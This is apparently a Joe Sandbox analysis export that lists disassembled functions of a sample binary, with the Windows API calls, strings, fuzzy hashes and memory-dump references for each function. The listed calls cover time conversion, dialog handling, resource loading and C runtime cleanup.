Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: f0be2fc0ff69939f3fc08808ec0ffb5b7cbea050289720b985426161878f34a8
Instruction ID: 5da77717c8d5d1ff1e579263b1765e620a4cb424fe204054418e2bfe5df3041a
Opcode Fuzzy Hash: f0be2fc0ff69939f3fc08808ec0ffb5b7cbea050289720b985426161878f34a8
Instruction Fuzzy Hash: B001F4316413239B4F725E756D816A637B6AE85312328817BE64DD3300FAB2C885D7F0

Function 00D70CBE Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00D70D0D

Part of subcall function 00D6ACF5: GetVersionExW.KERNEL32(?), ref: 00D6AD1A

LocalFileTimeToFileTime.KERNEL32(?,00D70CB8), ref: 00D70D31
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D70D47
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00D70D56
SystemTimeToFileTime.KERNEL32(?,00D70CB8), ref: 00D70D64
SystemTimeToFileTime.KERNEL32(?,?), ref: 00D70D72

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: cda96ba12f147dd5d4dd3a4918f39060b45d7ee8041a77b11ea997620346a195
Instruction ID: 14fce58203a712297c9f764f5d0c60112c7402f9039dcd74c5e5499f89270c92
Opcode Fuzzy Hash: cda96ba12f147dd5d4dd3a4918f39060b45d7ee8041a77b11ea997620346a195
Instruction Fuzzy Hash: 6631C67A90020AEBCB10DFE5D8859EFBBBCFF58700B04455AE959E3610E730AA45CB75

Function 00D791B0 Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00D791D4
_memcmp.LIBVCRUNTIME ref: 00D791EB

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: ac245c3e15898c35e9b4fdd3e0b19754c739d500de77432ccade97dba745bcd0
Instruction ID: 01c5d12b83af5666628fb9dd2b3930ee1a64bd07c3893d033399f1255c7dd171
Opcode Fuzzy Hash: ac245c3e15898c35e9b4fdd3e0b19754c739d500de77432ccade97dba745bcd0
Instruction Fuzzy Hash: CD21817260020EBBDB15AB20DC91E2BB7ADEB51784B54C129FC4D9A206F270ED4587B4

Function 00D88FA5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00DA0EE8,00D83E14,00DA0EE8,?,?,00D83713,00000050,?,00DA0EE8,00000200), ref: 00D88FA9
_free.LIBCMT ref: 00D88FDC
_free.LIBCMT ref: 00D89004
SetLastError.KERNEL32(00000000,?,00DA0EE8,00000200), ref: 00D89011
SetLastError.KERNEL32(00000000,?,00DA0EE8,00000200), ref: 00D8901D
_abort.LIBCMT ref: 00D89023

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 6e8e4f9225fdd9aba4e844363320fb3031493f7f97d6c04baf2914a1503a43a6
Instruction ID: a4ef3c61c22eb30f795148dbe837b7956e18becf4bc8d274b8238a5d65c7a325
Opcode Fuzzy Hash: 6e8e4f9225fdd9aba4e844363320fb3031493f7f97d6c04baf2914a1503a43a6
Instruction Fuzzy Hash: E1F02236504B116AC22277286C0AF3B2B2ADFC1761F6C011AF659E2296EF20CD02B335

Function 00D7D2E6 Relevance: 9.0, APIs: 6, Instructions: 43windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00D7D2F2
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D7D30C
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D7D31D
TranslateMessage.USER32(?), ref: 00D7D327
DispatchMessageW.USER32(?), ref: 00D7D331
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00D7D33C

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 752ce509fdae00c3ccb6aa702859ff916c8821f37127ed0f48fc874e2bf77393
Instruction ID: d20bb52081f12802cf3340757c17bb8117396e9db3cc24f9df5413a8b8f5485a
Opcode Fuzzy Hash: 752ce509fdae00c3ccb6aa702859ff916c8821f37127ed0f48fc874e2bf77393
Instruction Fuzzy Hash: 38F0EC72A0121AABCB205BA5DC4CEEBBF7EEF527A1F048012F64AD2150E6359541D7F1

Function 00D7C40E Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 00D7C435

Part of subcall function 00D717AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00D6BB05,00000000,.exe,?,?,00000800,?,?,00D785DF,?), ref: 00D717C2

Strings

<, xrefs: 00D7C41E
HIDE, xrefs: 00D7C474
MIN, xrefs: 00D7C4A3
MAX, xrefs: 00D7C487

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: CompareString_wcschr
String ID: <$HIDE$MAX$MIN
API String ID: 2548945186-3358265660
Opcode ID: 296d305e4db53870c4e630c75d4cade76b5bdbeb3ea9d31f936065aefabe3fbe
Instruction ID: cddcdfff26dbbffab27b6530e3cd9a0af4e9afce998b8a65d85611a3797203f0
Opcode Fuzzy Hash: 296d305e4db53870c4e630c75d4cade76b5bdbeb3ea9d31f936065aefabe3fbe
Instruction Fuzzy Hash: 69318076910609AEDF25DA54DC51EEE77BCEB54304F0080AAFA0DD6190FBB19AC48B70

Function 00D7ADED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00D7ADFD
GetObjectW.GDI32(00000000,00000018,?), ref: 00D7AE22
DeleteObject.GDI32(00000000), ref: 00D7AE54
DeleteObject.GDI32(00000000), ref: 00D7AE77

Part of subcall function 00D79E1C: FindResourceW.KERNEL32(00D7AE4D,PNG,?,?,?,00D7AE4D,00000066), ref: 00D79E2E
Part of subcall function 00D79E1C: SizeofResource.KERNEL32(00000000,00000000,?,?,?,00D7AE4D,00000066), ref: 00D79E46
Part of subcall function 00D79E1C: LoadResource.KERNEL32(00000000,?,?,?,00D7AE4D,00000066), ref: 00D79E59
Part of subcall function 00D79E1C: LockResource.KERNEL32(00000000,?,?,?,00D7AE4D,00000066), ref: 00D79E64

Strings

], xrefs: 00D7AE2A

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID: ]
API String ID: 142272564-3352871620
Opcode ID: 35e6dc4fc9eb043d3c2b51b8d19b4ad318d5145e06010545b9193a033bb53c7e
Instruction ID: 3f7aa01555fdc72ffdc2dc26a5d70ed91bc273553177edade2e71a2bcbe17aa6
Opcode Fuzzy Hash: 35e6dc4fc9eb043d3c2b51b8d19b4ad318d5145e06010545b9193a033bb53c7e
Instruction Fuzzy Hash: F401C433640316A6C71067689C16E7FBB6AEBC1B52F088015FD08E7291EA718C1596B2

Function 00D7CC90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00D6130B: GetDlgItem.USER32(00000000,00003021), ref: 00D6134F
Part of subcall function 00D6130B: SetWindowTextW.USER32(00000000,00D935B4), ref: 00D61365

EndDialog.USER32(?,00000001), ref: 00D7CCDB
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00D7CCF1
SetDlgItemTextW.USER32(?,00000066,?), ref: 00D7CD05
SetDlgItemTextW.USER32(?,00000068), ref: 00D7CD14

Strings

RENAMEDLG, xrefs: 00D7CCA8

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 4b5da50913fbc1179fd6569e54576b1f6b0b8c44478a681c58398049e44c428f
Instruction ID: 681e6dfd1703c0f329b4772ded3b322555ab757683c14ac7c8d13a11dd004106
Opcode Fuzzy Hash: 4b5da50913fbc1179fd6569e54576b1f6b0b8c44478a681c58398049e44c428f
Instruction Fuzzy Hash: 13019C33294312BFD2224F259C08FA73B5CEB4A702F148019F38EE21E1D7A19804C731

Function 00D875C2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00D87573,00000000,?,00D87513,00000000,00D9BAD8,0000000C,00D8766A,00000000,00000002), ref: 00D875E2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D875F5
FreeLibrary.KERNEL32(00000000,?,?,?,00D87573,00000000,?,00D87513,00000000,00D9BAD8,0000000C,00D8766A,00000000,00000002), ref: 00D87618

Strings

mscoree.dll, xrefs: 00D875DB
CorExitProcess, xrefs: 00D875ED

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a324c1eac8556319c5823ad9c4c9c56697a0725d9ee8fc179b9d4811a632cb21
Instruction ID: 4075cd9c47e8252c1a622f0fe22624170a4ab56496ad7981352e1fe800178794
Opcode Fuzzy Hash: a324c1eac8556319c5823ad9c4c9c56697a0725d9ee8fc179b9d4811a632cb21
Instruction Fuzzy Hash: F4F04430A0461CBBDB15AF54DC0AB9DBFB9EF04715F14416AF809E2260EB318E44CB74

Function 00D6EB73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00D70085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D700A0
Part of subcall function 00D70085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00D6EB86,Crypt32.dll,00000000,00D6EC0A,?,?,00D6EBEC,?,?,?), ref: 00D700C2

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00D6EB92
GetProcAddress.KERNEL32(00DA81C0,CryptUnprotectMemory), ref: 00D6EBA2

Strings

Crypt32.dll, xrefs: 00D6EB7C
CryptUnprotectMemory, xrefs: 00D6EB98
CryptProtectMemory, xrefs: 00D6EB8C

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 1397f57098561922d725ddd8ea0bcd655dbcd9d20d4dc89aaeb6e39210ec2366
Instruction ID: 156a39994be617e21082af6f2ffd6e6b7970c1446ab25fa66627276f0493932f
Opcode Fuzzy Hash: 1397f57098561922d725ddd8ea0bcd655dbcd9d20d4dc89aaeb6e39210ec2366
Instruction Fuzzy Hash: ADE04678800751AFCF209F3D9808B42BFE4AB14710B04C81EE4DAE3280EAB5D5888F70

Function 00D87DD9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D87E4B
_free.LIBCMT ref: 00D87E6B

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 0a433a998a3126ee3a88e58039c96b57fcd84a2782a67e8663c6a4ad8dd293a0
Instruction ID: a26ea2aa57907dac0bc7edceb1f6e1d83abe4507eda251acc7f56da3c284774e
Opcode Fuzzy Hash: 0a433a998a3126ee3a88e58039c96b57fcd84a2782a67e8663c6a4ad8dd293a0
Instruction Fuzzy Hash: D441A332A003049FDB25EF78C881A5EB7B6EF89714F6545A9E515EB341EB31ED01CBA0

Function 00D8B610 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00D8B619
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D8B63C

Part of subcall function 00D88518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D8C13D,00000000,?,00D867E2,?,00000008,?,00D889AD,?,?,?), ref: 00D8854A

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00D8B662
_free.LIBCMT ref: 00D8B675
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D8B684

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: d022cc88dc3975812c7f290c016deda6878cc55d015ac5b35a48af3d4f1dd831
Instruction ID: 92e238de642403accd595decf680bec1ba5bf7d963aaf6d5e785ba89cde9803b
Opcode Fuzzy Hash: d022cc88dc3975812c7f290c016deda6878cc55d015ac5b35a48af3d4f1dd831
Instruction Fuzzy Hash: 650175A2601715BB632126B65C49C7B6A6DDEC6BB1319022BB904D6210EF60CD0192B4

Function 00D89029 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00D8895F,00D885FB,?,00D88FD3,00000001,00000364,?,00D83713,00000050,?,00DA0EE8,00000200), ref: 00D8902E
_free.LIBCMT ref: 00D89063
_free.LIBCMT ref: 00D8908A
SetLastError.KERNEL32(00000000,?,00DA0EE8,00000200), ref: 00D89097
SetLastError.KERNEL32(00000000,?,00DA0EE8,00000200), ref: 00D890A0

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: f98a27060bf5ae7744c59bc3cb283f6e8f0efee186c7ef32c0fc849daaed72a2
Instruction ID: 080bea547649883323336b90d84bfa12bb5b89632be34a115edf02345160af78
Opcode Fuzzy Hash: f98a27060bf5ae7744c59bc3cb283f6e8f0efee186c7ef32c0fc849daaed72a2
Instruction Fuzzy Hash: 9601F476505B006A93227B396C96E3BA76EDBC137172C012AF589D2392EF61CC016370

Function 00D7075B Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 00D70A41: ResetEvent.KERNEL32(?), ref: 00D70A53
Part of subcall function 00D70A41: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00D70A67

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00D7078F
CloseHandle.KERNEL32(?,?), ref: 00D707A9
DeleteCriticalSection.KERNEL32(?), ref: 00D707C2
CloseHandle.KERNEL32(?), ref: 00D707CE
CloseHandle.KERNEL32(?), ref: 00D707DA

Part of subcall function 00D7084E: WaitForSingleObject.KERNEL32(?,000000FF,00D70A78,?), ref: 00D70854
Part of subcall function 00D7084E: GetLastError.KERNEL32(?), ref: 00D70860

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 0a819dd551641b590d091efcca18852ae51a343db6f68b8e993f970e0b0778ca
Instruction ID: 6390b166a34c2e5d336d49015376f2b3d3a535cf3b4ed7f632a1de1dffd0f67a
Opcode Fuzzy Hash: 0a819dd551641b590d091efcca18852ae51a343db6f68b8e993f970e0b0778ca
Instruction Fuzzy Hash: 24015E72540704EFCB229F69DD85F86BBE9FB49710F00452AF16E822A4DB756A44CBB0

Function 00D8BF10 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D8BF28

Part of subcall function 00D884DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00D8BFA7,?,00000000,?,00000000,?,00D8BFCE,?,00000007,?,?,00D8C3CB,?), ref: 00D884F4
Part of subcall function 00D884DE: GetLastError.KERNEL32(?,?,00D8BFA7,?,00000000,?,00000000,?,00D8BFCE,?,00000007,?,?,00D8C3CB,?,?), ref: 00D88506

_free.LIBCMT ref: 00D8BF3A
_free.LIBCMT ref: 00D8BF4C
_free.LIBCMT ref: 00D8BF5E
_free.LIBCMT ref: 00D8BF70

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 26242d9ebfd96779cf651a062f13f20a7438bbb1893404d1c7b85766449d35e0
Instruction ID: 44d1bf2554cfa37d23cd3a5bb42f2da04a0c792b9fb9d18c48a672a6d95f6a01
Opcode Fuzzy Hash: 26242d9ebfd96779cf651a062f13f20a7438bbb1893404d1c7b85766449d35e0
Instruction Fuzzy Hash: 57F0AF73508205AB8620FB68EE86C1A77DAFE047607A84806F549D7A55CF35FC819BB4

Function 00D88060 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D8807E

Part of subcall function 00D884DE: RtlFreeHeap.NTDLL(00000000,00000000,?,00D8BFA7,?,00000000,?,00000000,?,00D8BFCE,?,00000007,?,?,00D8C3CB,?), ref: 00D884F4
Part of subcall function 00D884DE: GetLastError.KERNEL32(?,?,00D8BFA7,?,00000000,?,00000000,?,00D8BFCE,?,00000007,?,?,00D8C3CB,?,?), ref: 00D88506

_free.LIBCMT ref: 00D88090
_free.LIBCMT ref: 00D880A3
_free.LIBCMT ref: 00D880B4
_free.LIBCMT ref: 00D880C5

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
